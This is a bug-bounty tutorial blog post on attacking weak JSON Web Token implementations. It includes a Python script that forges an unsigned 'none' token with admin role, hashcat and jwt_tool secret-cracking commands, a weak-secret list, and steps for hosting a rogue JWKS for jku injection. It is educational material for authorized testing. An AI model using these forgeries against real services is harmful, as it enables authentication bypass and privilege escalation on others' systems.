Explore the most common techniques for attacking insecure JSON Web Token implementations: from the none algorithm to JKU/JWK injection.
BBLabs
Security Researcher
JSON Web Token (JWT) is an open standard (RFC 7519) for securely transmitting information between parties as a signed JSON object. It's widely used for authentication and authorization in modern web applications.
A JWT consists of three parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4ifQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
{
"alg": "HS256",
"typ": "JWT"
}
Defines the signing algorithm used (HS256, RS256, ES256, etc.).
{
"sub": "1234567890",
"name": "John",
"role": "user",
"iat": 1516239022,
"exp": 1516242622
}
Contains the claims — the data you want to transmit (user identity, roles, permissions, expiration).
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Guarantees the integrity of the token. If someone modifies the header or the payload, the signature won't match.
Some servers accept unsigned tokens if the alg field in the header is set to "none":
// Original header
{"alg": "HS256", "typ": "JWT"}
// Modified header
{"alg": "none", "typ": "JWT"}
"none""role": "user" to "role": "admin")import base64
import json
# Header with alg: none
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")
# Modified payload
payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1234", "role": "admin"}).encode()
).decode().rstrip("=")
# Unsigned token
token = f"{header}.{payload}."
print(token)
Try different casings of the algorithm: "none", "None", "NONE", "nOnE".
This attack exploits the difference between symmetric (HS256) and asymmetric (RS256) algorithms:
If the server uses RS256 and you can obtain the public key (which is often accessible), you can:
# Get the server's public key
curl -s https://target.com/.well-known/jwks.json | jq
# Or from the SSL certificate
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout
If the server uses HS256 with a weak secret, you can brute-force it:
# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt
# Using jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
secret
password
123456
your-256-bit-secret
change_this_secret
default
The JWT header can contain a jku field pointing to a URL where the public key used to verify the signature is hosted:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://target.com/.well-known/jwks.json"
}
jku to point to your server# Generate a key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Create a JWKS with your public key and host it
python3 -m http.server 8080 # Serve the jwks.json file
Similar to the JKU attack, but in this case the header directly includes the public key inside the token:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "your_public_key_here...",
"e": "AQAB"
}
}
# Look for tokens in Authorization headers
Authorization: Bearer eyJhbGci...
# Look for tokens in cookies
Cookie: session=eyJhbGci...
# Look for tokens in URL parameters
?token=eyJhbGci...
# Use jwt.io to decode visually
# Or from the command line:
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | jq
# Installation
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
# Full scan mode
python3 jwt_tool.py <JWT> -M at # All Tests
python3 jwt_tool.py <JWT> -M pb # Playbook mode
When testing, keep in mind that well-configured servers:
none algorithmjku URLs without validating against a whitelistexp, iss, aud and other claimsJWT attacks are one of the most technically interesting categories in bug bounty. Although modern implementations are usually well protected, it's still surprisingly common to find servers that accept the none algorithm, use weak secrets or don't correctly validate the jku field. Every time you see a JWT in an application, take the time to test these attack vectors.
hunters training
labs from real reports
completions
in bounties practiced
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime
Learn to identify and exploit IDOR (Insecure Direct Object Reference) vulnerabilities in web applications. From the basics to writing effective reports.
Learn to escalate SSRF vulnerabilities from a low severity to critical impact. Exploitation techniques, filter bypasses and attack chains in cloud environments.
Google Dorks guide for bug bounty: what they are, the operators (site:, inurl:, intitle:, filetype:, ext:, intext:), ready-to-use examples for info exposure, panels, sensitive files and subdomains, ethical use within scope and how they fit into your recon.